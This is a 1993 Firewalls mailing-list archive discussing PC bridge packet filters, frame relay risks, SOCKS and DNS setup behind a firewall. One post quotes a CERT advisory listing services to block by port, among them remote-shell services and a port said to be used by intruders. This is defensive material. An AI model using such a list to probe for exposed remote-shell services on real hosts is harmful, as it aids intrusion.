? If there are, any pointers to workaround documentation would be greatly appreciated. Regards, Richard From Firewalls-Owner Sun Oct 10 03:44:34 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA22464; Sun, 10 Oct 93 09:30:08 GMT Received: from bunyip.cc.uq.oz.au by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA22446; Sun, 10 Oct 93 02:29:48 PDT Message-Id: <9310100929.AA22446@mycroft.GreatCircle.COM> Received: from [130.102.4.21] (actually arundel.vthrc.uq.oz.au) by bunyip.cc.uq.oz.au with SMTP (PP); Sun, 10 Oct 1993 19:34:03 +1000 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Sun, 10 Oct 1993 19:33:22 +1000 To: Kwan-Seng Low From: Danny Thomas Subject: Re: kbridge/drawbridge on PC DOS? Cc: firewalls@GreatCircle.COM Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk >Anyone out there using any of these PD software (kbridge or drawbridge) >on PC platform to use as a firewall? How effective they're? Are they >able to do source filtering? >Appreciate anyone could share their experience. we've been running kbridge for a while, partly as the ends for an internal fibre link, and more recently to apply some filtering. Compared to drawbridge it seems kbridge only has quite basic filtering abilities, though these are not limited to IP with some explicit support for AppleTalk, DECNet and Novell. From my reading of the docs it seems that kbridge allows to filter on ethernet address, protocol (DECNet, IP, etc), internal IP address/mask, external address/mask, internal tcp/udp port, external tcp/udp port, either int or ext udp/tcp sockets > 1023. A menu-driven program is used for configuring the excutable and allows up to ten items in each of these filter categories. Unfortunately you can't combine the filters to allow finer control nor to produce different classes of access, such as FTP but only to a particular host. It was sufficient though for our need to drop all traffic to an address range within our subnet. Drawbridge transparently passes all non-IP traffic, and then filters only for tcp & udp. Filters on tcp are only applied to ACKless SYN packets which enables you to think in terms of connections. It uses a simple but effective filter description language which is run through a compiler on a UN*X host to produce a set of files read by the filter program when it starts up on the PC. Currently, each filtering rule is based on incoming tcp port, outgoing tcp port, source tcp port, or incoming udp port. These conditions cannot be combined and-wise, eg to ALLOW packets (outgoing, to the dns port) AND (outgoing, source from the dns port). However there is a simple method of combining individual filtering rules - allowed services are or'd, then all explicitly disallowed services are removed; there is no concept of rule ordering which can lead to subtle problems as described in the Packet Filtering paper. While filter rules can be specified for hosts and network ranges, the 'default' filter is applied to all other addresses. There are also 'reject' and 'allow' clauses that allow an address & mask to specifically reject traffic from a particular source network, and conversely to allow specified services from a particular source network that is otherwise prohibited by other filters. Drawbridge certainly *seems* sufficient for our needs, but I'll leave it to better-qualified people to pass informed comment. PS Release 1.0 of drawbridge had a few bugs such that some filters weren't being correctly applied. cheers, Danny Thomas Some other points of interest: kbridge-1.31 (latest is 1.4 with commercial version funding further developemnt) 0) nisca.acs.ohio-state.edu /pub/kbridge 1) will run on a floppy-based 286 system 2) claims about twice the performance of PCBRIDGE, ie >10000 pps on 16MHz 286 3) doesn't come with source code 4) clicks the speaker for every packet forwarded (can be reassuring) 5) has SNMP capability 6) doesn't support spanning-tree 7) doesn't allow logging of filtered packets 8) 'exercises' the floppy by turning floppy motor on every hour drawbridge-1.1 0) net.tamu.edu /pub/security/TAMU (***NB HOST CHANGE***) 1) docs claim 1M RAM with 5M disk space needed, 33MHz 486 preferred (I don't know whether 386 code is used). I think disk space above that for the initial 4 files (ca 200K) is only needed when the filter manager is used to control the bridge. If you're willing to load the files directly onto the disk it seems a floppy-based system is adequate. 2) apart from desirability of a fast 486, no mention is made of performance 3) does come with source code. I've just submitted some patches so the filter compiler will run on machines which aren't big-endian, eg NetBSD 4) doesn't click the speaker for every packet forwarded 5) doesn't have SNMP capability 6) doesn't support spanning-tree 7) doesn't allow logging of filtered packets 8) doesn't 'exercise' the floppy (?) From Firewalls-Owner Mon Oct 11 14:51:01 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA26252; Mon, 11 Oct 93 14:51:01 GMT Received: from tigger.jvnc.net by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA26245; Mon, 11 Oct 93 07:50:53 PDT Received: from dowjone.UUCP by tigger.jvnc.net with UUCP id AA26213 (5.65c/IDA-1.4.4); Mon, 11 Oct 1993 10:23:40 -0400 Received: from jcsadmin.eng.dowjones.com by eng.dowjones.com (4.1/SMI-4.1) id AA10537; Mon, 11 Oct 93 08:31:08 EDT Received: by jcsadmin.eng.dowjones.com (4.1/SMI-4.1) id AA03489; Mon, 11 Oct 93 08:37:26 EDT Date: Mon, 11 Oct 93 08:37:26 EDT From: jc@eng.dowjones.com (John Ciesla) Message-Id: <9310111237.AA03489@jcsadmin.eng.dowjones.com> To: Firewalls-Digest@GreatCircle.COM Subject: firewalling large networks Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk We presently have three networks that span a good portion of the country. The networks are satellite networks which consist of Sun workstations, Mac's, and PC's and Wellfleet routers to do the routing. We eventually hope to connect all three networks together but the issue of security is now upon us. We are attempting to use the filtering options on the routers of each network to build firewalls for each network, but the entire situation is becoming an adminstrative nightmare. I would welcome any ideas on firewalling on large networks. Do routers make good firewalls? Are there seperate boxes that make better firewalls? How do other companies do it? Whatever suggestions or information would be appreciated. ================================================================================ John Ciesla Voice (w/mail): 609-520-5105 Dow Jones & Co., Inc. Fax: 609-520-5089 Engineering Department Internet: jc@eng.dowjones.com P.O. Box 300 Princeton, NJ 08543-0300 Route 1 & Ridge Road South Brunswick, NJ 08852 ================================================================================ From Firewalls-Owner Mon Oct 11 16:31:24 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA26589; Mon, 11 Oct 93 16:31:24 GMT Received: from mailgate.Cadence.COM by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA26582; Mon, 11 Oct 93 09:31:16 PDT Received: from cds1004.Cadence.COM by mailgate.Cadence.COM (5.65c/SMI-4.1) id AA05026; Mon, 11 Oct 1993 09:31:38 -0700 Received: from [158.140.32.236] ([158.140.32.236]) by cds1004.Cadence.COM (8.6/8.6) with SMTP id JAA05002 for ; Mon, 11 Oct 1993 09:34:03 -0700 Date: Mon, 11 Oct 1993 09:34:03 -0700 Message-Id: <199310111634.JAA05002@cds1004.Cadence.COM> To: firewalls@GreatCircle.COM From: alastair@Cadence.COM (Alastair Young) X-Sender: alastair@cds1004 Subject: Re: Frame Relay OK ? Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk >Does anyone know of any inherent security problems in Frame Relay ? > >If there are, any pointers to workaround documentation would be >greatly appreciated. > >Regards, > >Richard We use it extensively, and we have only had one worrysome problem that we know of. One day we discovered our own RIP packets coming in from the Internet. We had been trying out two frame relay vendors, and the equipment from the vendor we didn't opt for was powered down waiting for them to collect it. Somebody powered it back up. It is unclear whether it was still connected to our net, but it was still connected to the frame relay net. The other end of its logical connection must have been live to somebody else's network. The box produced its RIP packets with a 158.140 broadcast address and dumped them onto this other site's network which then merrily forwarded them back to us where they were duly dropped and logged by our firewall. In light of this problem I would say that the largest risk in Frame Relay is misconfiguration by the vendor causing "crossed lines". How much more likely this is than with other forms of connection I do not know. AL --------------------------------------------------------------------------- Alastair Young _ Ariel NH Cadence Design Systems, Information Services )/___ _ Red Hunter 555 River Oaks Parkway, 4B1 __/(___)_*##/c San Jose CA 95134 Fax: (408)894-3487 / /\\|| \ / \ Brakes'n'lites alastair@cadence.com (408)428-5278 \__/ ----'\__/ novel eh? --------------------------------------------------------------------------- These statements and opinions are mine, not those of Cadence Design Systems From Firewalls-Owner Mon Oct 11 21:09:52 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA27597; Mon, 11 Oct 93 21:09:52 GMT Received: from uswat.advtech.uswest.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA27590; Mon, 11 Oct 93 14:09:40 PDT Received: from futureworld.advtech.uswest.com by uswat.advtech.uswest.com with SMTP id AA21272 (5.65c/IDA-1.4.4 for ); Mon, 11 Oct 1993 15:13:03 -0600 Received: from localhost.uswest.com by futureworld.advtech.uswest.com (advtech.uswest.com) id AA14022 (4.1/at-generic.16Sep93); Mon, 11 Oct 93 15:12:59 MDT Message-Id: <9310112112.AA14022@futureworld.advtech.uswest.com> To: reh@cs.umd.edu (Richard Huddleston) Cc: Firewalls@GreatCircle.COM Subject: Re: Frame Relay OK ? In-Reply-To: Your message of "Sat, 09 Oct 1993 23:46:52 EDT." <9310100346.AA00739@bedrock.cs.UMD.EDU> Date: Mon, 11 Oct 1993 15:12:59 -0600 From: Brad Huntting Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > Does anyone know of any inherent security problems in Frame Relay ? There are a couple givens when dealing with phone companys and data communications... One of the most important is: If they can set it up wrong they will. Relying on the phone company for authentication seems risky. Trusting them for access control seems down right fool hardy. I have no specifics related to frame relay, but from what I've seen of phone company data security I wouldn't trust them Cray Communications makes some frame relay boxes that can encrypt data communications. I dont know if they do authentication or not. brad From Firewalls-Owner Mon Oct 11 21:47:11 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA27741; Mon, 11 Oct 93 21:47:11 GMT Received: from usl.com (usl.usl.com) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA27734; Mon, 11 Oct 93 14:47:03 PDT Message-Id: <9310112147.AA27734@mycroft.GreatCircle.COM> Date: Mon, 11 Oct 93 17:50 EDT From: mingus@usl.com (Marcel-Franck Simon) To: Brad Huntting , reh@cs.umd.edu (Richard Huddleston) Cc: Firewalls@GreatCircle.COM Subject: Re: Frame Relay OK ? Received: from usl by usl.com; Mon, 11 Oct 1993 17:50 EDT Content-Type: text Content-Length: 465 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > If [ the phone company ] can set it up wrong they will. > > Relying on the phone company for authentication seems risky. Trusting > them for access control seems down right fool hardy. I have no > specifics related to frame relay, but from what I've seen of phone > company data security I wouldn't trust them Your email address suggests that you should have in-depth knowledge leading you to these conclusions. Any details you want to share with us? Marcel From Firewalls-Owner Mon Oct 11 22:09:53 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA27799; Mon, 11 Oct 93 22:09:53 GMT Received: from uswat.advtech.uswest.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA27792; Mon, 11 Oct 93 15:09:45 PDT Received: from futureworld.advtech.uswest.com by uswat.advtech.uswest.com with SMTP id AA22452 (5.65c/IDA-1.4.4 for ); Mon, 11 Oct 1993 16:13:04 -0600 Received: from localhost.uswest.com by futureworld.advtech.uswest.com (advtech.uswest.com) id AA14356 (4.1/at-generic.16Sep93); Mon, 11 Oct 93 16:12:54 MDT Message-Id: <9310112212.AA14356@futureworld.advtech.uswest.com> To: mingus@usl.com (Marcel-Franck Simon) Cc: Brad Huntting , reh@cs.umd.edu (Richard Huddleston), Firewalls@GreatCircle.COM Subject: Re: Frame Relay OK ? In-Reply-To: Your message of "Mon, 11 Oct 1993 17:49:00 EDT." <199310112150.AA22003@uswat.advtech.uswest.com> Date: Mon, 11 Oct 1993 16:12:53 -0600 From: Brad Huntting Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > Your email address suggests that you should have in-depth knowledge > leading you to these conclusions. Any details you want to share with us? No special knowledge. My opinions are based almost exclucivly on what I hear from non-telecom network managers unix sysadmins, and a couple phone phreaks I've met. Of course they are usually reminded of bad telecom experiences just by my presence, so I probably hear the worst. brad From Firewalls-Owner Mon Oct 11 22:49:33 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA27909; Mon, 11 Oct 93 22:49:33 GMT Received: from lehman.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA27899; Mon, 11 Oct 93 15:48:51 PDT Received: from relay.lehman.com ([192.9.140.112]) by lehman.com (4.1/LB 0.1) id AA12658; Mon, 11 Oct 93 18:52:13 EDT Received: from snark.lehman.com by relay.lehman.com (4.1/LB-0.6) id AA18391; Mon, 11 Oct 93 18:52:12 EDT Received: by snark.lehman.com (4.1/SMI-4.1) id AA19214; Mon, 11 Oct 93 18:52:11 EDT Message-Id: <9310112252.AA19214@snark.lehman.com> To: firewalls@GreatCircle.COM Subject: Re: Frame Relay OK ? In-Reply-To: Your message of "Mon, 11 Oct 1993 15:12:59 MDT." <9310112112.AA14022@futureworld.advtech.uswest.com> Reply-To: pmetzger@lehman.com X-Reposting-Policy: redistribute only with permission Date: Mon, 11 Oct 1993 18:52:10 -0400 From: "Perry E. Metzger" Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Brad Huntting says: > Cray Communications makes some frame relay boxes that can encrypt data > communications. I dont know if they do authentication or not. Anything that does non public key encryption almost axiomatically does authentication too. Perry From Firewalls-Owner Tue Oct 12 17:05:46 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA00631; Tue, 12 Oct 93 17:05:46 GMT Received: from sdrc.com (HEIMDALL.SDRC.COM) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA00624; Tue, 12 Oct 93 10:05:35 PDT Received: from sun2.sdrc (sun2.sdrc.com) by sdrc.com (4.1/SMI-4.1) id AA22229; Tue, 12 Oct 93 13:08:59 EDT Received: by sun2.sdrc (5.0/SMI-SVR4) id AA03311; Tue, 12 Oct 1993 13:08:57 +0500 Date: Tue, 12 Oct 1993 13:08:57 +0500 From: ken.shackelford@sdrc.com (Ken Shackelford) Message-Id: <9310121708.AA03311@sun2.sdrc> To: Firewalls@GreatCircle.COM Subject: Socks Questions Content-Length: 1271 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Hello, We're trying to install SOCKS on some of our systems and are having some problems. The largest involves the DNS setup. We do not want to run DNS on our internal machines, so I tried to set the SOCKS_DEFAULT_NS variable in the source to the IP number of our firewall and DNS server, but it doesn't appear to work. The SOCKS clients cannot resolve any names on their own, but if I put a resolv.conf file on the system pointing to the same server, the SOCKS clients work fine. Any ideas what I'm doing wrong here? The other is relatively minor. On certain platforms we get the following message upon startup of rftp or rtelnet: ftp: setsockopt TOS (ignored): Not owner I know where it's coming from, and how to get rid of it (for whatever that's worth :-), but I really don't know what it's trying to tell me, and whether I should be concerned. It doesn't appear to cause any problems with either service functioning, though. Any assistance would be appreciated, K. Ken Shackelford (The Wizard of Odd) E-MAIL: Ken.Shackelford@sdrc.com ----- "A little rudeness and disrespect can elevate a meaningless interaction to a battle of wills and add drama to an otherwise dull day." --Calvin From Firewalls-Owner Tue Oct 12 20:09:50 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA01041; Tue, 12 Oct 93 20:09:50 GMT Received: from uu3.psi.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA01034; Tue, 12 Oct 93 13:09:25 PDT Received: from bacon.UUCP by uu3.psi.com (5.65b/4.0.071791-PSI/PSINet) via UUCP; id AA15012 for ; Tue, 12 Oct 93 15:58:14 -0400 Received: from lorax.imsi.com by bacon.IMSI.COM (4.1/SMI-4.1) id AA09078; Tue, 12 Oct 93 15:06:00 EDT Received: from localhost by lorax.imsi.com (4.1/SMI-4.1) id AA02695; Tue, 12 Oct 93 15:06:00 EDT Message-Id: <9310121906.AA02695@lorax.imsi.com> To: ken.shackelford@sdrc.com (Ken Shackelford) Cc: Firewalls@GreatCircle.COM Subject: Re: Socks Questions In-Reply-To: Your message of "Tue, 12 Oct 1993 13:08:57 +0500." <9310121708.AA03311@sun2.sdrc> Reply-To: rens@imsi.com Date: Tue, 12 Oct 1993 15:05:59 -0400 From: Rens Troost Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk >>>>> On Tue, 12 Oct 1993 13:08:57 +0500, ken.shackelford@sdrc.com (Ken Shackelford) said: shackelford> The largest involves the DNS setup. We do not want to shackelford> run DNS on our internal machines, so I tried to set the shackelford> SOCKS_DEFAULT_NS variable in the source to the IP shackelford> number of our firewall and DNS server, but it doesn't shackelford> appear to work. The SOCKS clients cannot resolve any shackelford> names on their own, but if I put a resolv.conf file on shackelford> the system pointing to the same server, the SOCKS shackelford> clients work fine. Any ideas what I'm doing wrong shackelford> here? Resolver libraries need to have /etc/resolv.conf around to function properly. SOCKSinit will override the nameservers in that file, but (the Sun resolver, at least) needs that file to be present for resolution to work. -Rens From Firewalls-Owner Wed Oct 13 17:47:20 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA04431; Wed, 13 Oct 93 17:47:20 GMT Received: from relay1.UU.NET by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA04424; Wed, 13 Oct 93 10:47:12 PDT Received: from spool.uu.net (via LOCALHOST) by relay1.UU.NET with SMTP (5.61/UUNET-internet-primary) id AA05007; Wed, 13 Oct 93 13:50:09 -0400 Received: from medtron.UUCP by uucp1.uu.net with UUCP/RMAIL (queueing-rmail) id 134833.8264; Wed, 13 Oct 1993 13:48:33 EDT Received: from medtron.medtronic.COM by relay.medtronic.com with SMTP id AA26662 (5.65c/IDA-1.4.4 for ); Wed, 13 Oct 1993 10:46:08 -0500 Received: from triton.cis.corp.medtronic.COM ([144.15.69.10]) by medtron.medtronic.COM with SMTP id AA26658 (5.65c/IDA-1.4.4 for ); Wed, 13 Oct 1993 10:46:04 -0500 Received: by triton.cis.corp.medtronic.COM id AA21809 (5.65c/IDA-1.4.4 for firewalls@greatcircle.com); Wed, 13 Oct 1993 10:46:21 -0500 From: Roger-Hunen Message-Id: <199310131546.AA21809@triton.cis.corp.medtronic.COM> Subject: Configuring DNS in a firewalled environment To: firewalls@GreatCircle.COM Date: Wed, 13 Oct 93 10:45:20 CDT X-Mailer: ELM [version 2.3 PL11] Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Greetings! I am looking into configuring DNS in a firewalled environment, which looks like this: +----------+ | | internal network ------| Firewall |------ the Internet | | +----------+ The firewall will run a DNS server with very limited information available to the Internet. The real DNS information for hosts on the internal network is provided by DNS servers on the internal network, which will have 4-6 ser- vers for our domain (2-3 of which will also be root servers) and numerous servers for delegated subdomains. Only the Firewall DNS server will be able to send queries to Internet DNS servers. Hosts on the Internet will only see the DNS server on the firewall and thus have only very limited information about our domain. On the other hand, hosts on the internal network must be able to retrieve DNS information about hosts on the Internet. As far as I understand (from the Name Server Operations Guide for BIND, and from the O'Reilly book on 'DNS and BIND') I can use the 'forwarders' and 'slave' directives to do this. It remains however unclear which internal DNS servers will need one/both of these directives. Is it only the internal root servers that need these directives? Or must all internal DNS servers have them? Can somebody please shed some light on this? Thanks in advance, -Roger From Firewalls-Owner Wed Oct 13 18:14:26 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA04583; Wed, 13 Oct 93 18:14:26 GMT Received: from zinder.meteo.fr by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA04576; Wed, 13 Oct 93 11:14:03 PDT Received: by zinder.meteo.fr id AA25885 (5.65c/IDA-1.4.4 for firewalls@greatcircle.com); Wed, 13 Oct 1993 19:18:24 GMT From: Remy Giraud Message-Id: <199310131918.AA25885@zinder.meteo.fr> Subject: Public Domain FTP proxy/relay/bouncer To: firewalls@GreatCircle.COM Date: Wed, 13 Oct 93 19:18:23 GMT X-Mailer: ELM [version 2.3 PL11] Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Hi, Some weeks ago someone posted a relay/proxy/bouncer for telnet. I don't know the 'official' name for that kind of software. Is there something equivalent (e.g. same function and public domain ) for ftp ? We would like to install this on a future gatekeeper to make authentication and control of incoming telnet and ftp connections. Thanks Remy - -- +------------------------------------------------------------+ | | | Remy GIRAUD | | METEO FRANCE Tel : 33 61 07 81 14 | | 42 Avenue G.Coriolis Fax : 33 61 07 81 09 | | 31057 Toulouse Cedex Email : Remy.Giraud@meteo.fr | | France | | | +------------------------------------------------------------+ From Firewalls-Owner Wed Oct 13 19:10:47 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA04800; Wed, 13 Oct 93 19:10:47 GMT Received: from MVB.SAIC.COM by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA04793; Wed, 13 Oct 93 12:10:35 PDT From: BURCHIANTI@FWVA.SAIC.COM Received: from DECNET by MVB.SAIC.COM (CHCS-MailMan V7.2) with SMTP id 16488853; Wed, 13 Oct 1993 11:52:25 PDT Received: from FWVA.SAIC.COM by MVB.SAIC.COM with DECnet; Wed, 13 Oct 1993 11:52:25 PDT Subject: Merits of CERT Firewall Document Date: Wed, 13 Oct 1993 11:52:25 Message-Id: <16488853@MVB.SAIC.COM> X-Vms-To: MM%"firewalls@greatcircle.com" To: firewalls@GreatCircle.COM Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk To whom it may concern: CERT has issued a packet/network services advisory on firewalls issue. Unfortunately, it is not very detailed as to why certain services are considered suspect. Does anyone have any information as to why these net services are vulnerable or perhaps can provide a pointer to a reference on this topic? Thanks. I am enclosing a copy of the CERT advisory for your information. Michael Burchianti SAIC 10260 Campus Point Dr San Diego, CA 92121 e-mail: burchianti@fwva.saic.com ======================================================================= PACKET FILTERING FOR FIREWALL SYSTEMS If your site isn't filtering certain TCP/IP packets, it may not be as secure as you think it is. When the Computer Emergency Response Team (CERT) started in 1988, it was our opinion that security was the responsibility of the system and not the network. While we still believe it is important for system managers to be aware of security issues and to continue to be diligent in securing their systems, we realize that this effort will not protect from the exploitation of flawed protocols. The CERT encourages system managers, site network managers, and regional network providers to take the time to understand packet filtering issues. Due to the flaws in several TCP/IP services, a site must be able to restrict external access to these services. Sites should consider purchasing programmable routers. Network providers should offer packet filtering as a service option. Because of flaws in their protocol or chronic system administration problems, the CERT recommends that the following services be filtered: DNS zone transfers - socket 53 tftpd - socket 69 link - socket 87 (commonly used by intruders) SunRPC & NFS - socket 111 and 2049 BSD UNIX "r" cmds - sockets 512, 513, and 514 lpd - socket 515 uucpd - socket 540 openwindows - socket 2000 X windows - socket 6000+ The CERT also suggests that sites filter socket 53, which will prevent domain name service zone transfers. Only permit access to socket 53 from known secondary domain name servers. This will prevent intruders from gaining additional knowledge about the systems connected to your local network. The X windows sockets range from socket 6000 plus the highest number of X terminals on the same host. If the site does not need to provide other services to external users, those other services should be filtered. For example, CERT filters telnet connections when all of its members are in the office. We also filter ftp connections to all systems except to cert.org, which is used as an archive system via anonymous ftp. We recently handled an incident that involved automated TFTP attempts. Many of the systems affected were using the TFTP daemon to boot X terminals locally. Filtering TFTP connections would have protected these sites from this attack. From Firewalls-Owner Wed Oct 13 19:16:02 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA04819; Wed, 13 Oct 93 19:16:02 GMT Received: from post.demon.co.uk by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA04812; Wed, 13 Oct 93 12:15:48 PDT Received: from demon.demon.co.uk by post.demon.co.uk id ad16516; 12 Oct 93 1:42 BST Received: from cellnet.uucp by demon.demon.co.uk id aa06351; 12 Oct 93 1:42 BST From: Steve Kennedy Message-Id: <1228.9310112309@marvin.gbnet.org> Subject: Re: kbridge/drawbridge on PC DOS? To: mailbox.uq.oz.au!vthrc@gbnet.org Date: Mon, 11 Oct 93 23:09:08 GMT Cc: versant.com!kwan@gbnet.org, greatcircle.com!firewalls@gbnet.org In-Reply-To: <9310100929.AA22446@mycroft.GreatCircle.COM>; from "Danny Thomas" at Oct 10, 93 7:33 pm X-Subliminal-Message: Send large quantities of used bills. X-Mailer: ELM [version 2.3 PL11] Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk The KarlBridge v1.41 PD release has much improved filtering on a net/subnet/socket pair basis (i.e. a host could allow ONLY incoming ftp or whatever). A new version is due for imminent release which has a much improved configuration program (also allows filters to be specified in a 'text' file which can be edit'ed by your favourite editor). The range of filtering options has also been vastly improved (support for SAP and NCP [SLIST] filtering). Regards Steve -- ___ |_ ___ ___ Tel: +44 (0)71 483 1169 Voice (___ | (___) \ / (___) Data: 483 2454 WorldBlazer T3000 PEP+/v32bis... ___) | (___ \/ (___ Data: 483 2455 WorldBlazer T3000 V32bis/PEP+... ISDN: 722 7969/70 Email Snail Mail steve@gbnet.{org,com,net} [home] Steve Kennedy steve@marvin.demon.co.uk [DIS dialup internet] Flat 2, 43 Howitt Rd stevek@cellnet.co.uk [work] London, NW3 4LU From Firewalls-Owner Wed Oct 13 19:16:52 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA04827; Wed, 13 Oct 93 19:16:52 GMT Received: from mailgate.Cadence.COM by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA04820; Wed, 13 Oct 93 12:16:35 PDT Received: from cds1004.Cadence.COM by mailgate.Cadence.COM (5.65c/SMI-4.1) id AA25447; Wed, 13 Oct 1993 12:16:02 -0700 Received: from [158.140.32.236] ([158.140.32.236]) by cds1004.Cadence.COM (8.6/8.6) with SMTP id MAA09273 for ; Wed, 13 Oct 1993 12:18:38 -0700 Date: Wed, 13 Oct 1993 12:18:38 -0700 Message-Id: <199310131918.MAA09273@cds1004.Cadence.COM> To: firewalls@GreatCircle.COM From: alastair@Cadence.COM (Alastair Young) X-Sender: alastair@cds1004 Subject: Re: Configuring DNS in a firewalled environment Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk >Greetings! > >I am looking into configuring DNS in a firewalled environment, which looks >like this: > > +----------+ > | | > internal network ------| Firewall |------ the Internet > | | > +----------+ > >The firewall will run a DNS server with very limited information available >to the Internet. The real DNS information for hosts on the internal network >is provided by DNS servers on the internal network, which will have 4-6 ser- >vers for our domain (2-3 of which will also be root servers) and numerous >servers for delegated subdomains. Only the Firewall DNS server will be able >to send queries to Internet DNS servers. > >Hosts on the Internet will only see the DNS server on the firewall and thus >have only very limited information about our domain. On the other hand, hosts >on the internal network must be able to retrieve DNS information about hosts >on the Internet. > >As far as I understand (from the Name Server Operations Guide for BIND, and >from the O'Reilly book on 'DNS and BIND') I can use the 'forwarders' and >'slave' directives to do this. It remains however unclear which internal DNS >servers will need one/both of these directives. Is it only the internal root >servers that need these directives? Or must all internal DNS servers have >them? Can somebody please shed some light on this? > As I read it, ALL internal DNS servers must be configured as slaves, otherwise they will try and contact the external servers directly. I wasn't aware of this before, it sounds like something worth trying. The less holes I have in my wall the happier I feel. The only drawback I can see is that "nslookup" users will not be able to set server to an outside server, but I can't see any serious reason for doing that anyways. Al --------------------------------------------------------------------------- Alastair Young _ Ariel NH Cadence Design Systems, Information Services )/___ _ Red Hunter 555 River Oaks Parkway, 4B1 __/(___)_*##/c San Jose CA 95134 Fax: (408)894-3487 / /\\|| \ / \ Brakes'n'lites alastair@cadence.com (408)428-5278 \__/ ----'\__/ novel eh? --------------------------------------------------------------------------- These statements and opinions are mine, not those of Cadence Design Systems From Firewalls-Owner Wed Oct 13 21:30:34 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA05156; Wed, 13 Oct 93 21:30:34 GMT Received: from cs.umb.edu by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA05142; Wed, 13 Oct 93 14:30:24 PDT Received: from cs.umb.edu by cs.umb.edu with SMTP id AA01635 (5.65c/IDA-1.4.4 for ); Wed, 13 Oct 1993 17:33:38 -0400 Message-Id: <199310132133.AA01635@cs.umb.edu> To: alastair@cadence.com (Alastair Young) Cc: firewalls@GreatCircle.COM Subject: Re: Configuring DNS in a firewalled environment In-Reply-To: Your message of "Wed, 13 Oct 1993 12:18:38 PDT." <199310131918.MAA09273@cds1004.Cadence.COM> Date: Wed, 13 Oct 1993 17:33:37 -0400 From: "John P. Rouillard" Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk In message <199310131918.MAA09273@cds1004.Cadence.COM>, Alastair Young writes: >>Greetings! >> >>I am looking into configuring DNS in a firewalled environment, which looks >>like this: >> >> +----------+ >> | | >> internal network ------| Firewall |------ the Internet >> | | >> +----------+ >> [stuff deleted] >>As far as I understand (from the Name Server Operations Guide for BIND, and >>from the O'Reilly book on 'DNS and BIND') I can use the 'forwarders' and >>'slave' directives to do this. It remains however unclear which internal DNS >>servers will need one/both of these directives. Is it only the internal root >>servers that need these directives? Or must all internal DNS servers have >>them? Can somebody please shed some light on this? Set up your internal root servers with a primary directive, and your secondaries with a secondary directive, then load the root cache (named.ca) file with the NS and A records for the dns server on the FIREWALL. (e.g. ; @(#)root.cache 1.1 (Berkeley) 86/01/21 ; ; Initial cache data for root domain servers. ; . 999999 IN NS firewall.my.org. ; ; Prep the cache (hotwire the addresses). Order does not matter ; firewall.my.org. 999999 IN A 192.112.36.4 ) Don't forget to set the resolv.conf on the firewall to point to the INTERNAL dns servers. That way as far as your internal servers know the gateway is a root nameserver. If you don't do this, you may get the infamous "no root nameservers for level n found" (n elem 1, 2, 3,4) message from older named implementations (e.g. suns). > As I read it, ALL internal DNS servers must be configured as slaves, > otherwise they will try and contact the external servers directly. You shouldn't use slave for your internal root servers at all, otherwise they will never offer info about your internal hosts. As far as I know, primary, secondary and slave are mutually exclusive. > I wasn't aware of this before, it sounds like something worth trying. The > less holes I have in my wall the happier I feel. > The only drawback I can see is that "nslookup" users will not be > able to set server to an outside server, but I can't see any serious > reason for doing that anyways. True, but this isn't a big problem usually. Besides if the DNS is down as systems administrator you can log onto the firewall to do the troubleshooting. -- John John Rouillard Special Projects Volunteer University of Massachusetts at Boston rouilj@cs.umb.edu (preferred) Boston, MA, (617) 287-6480 Consulting 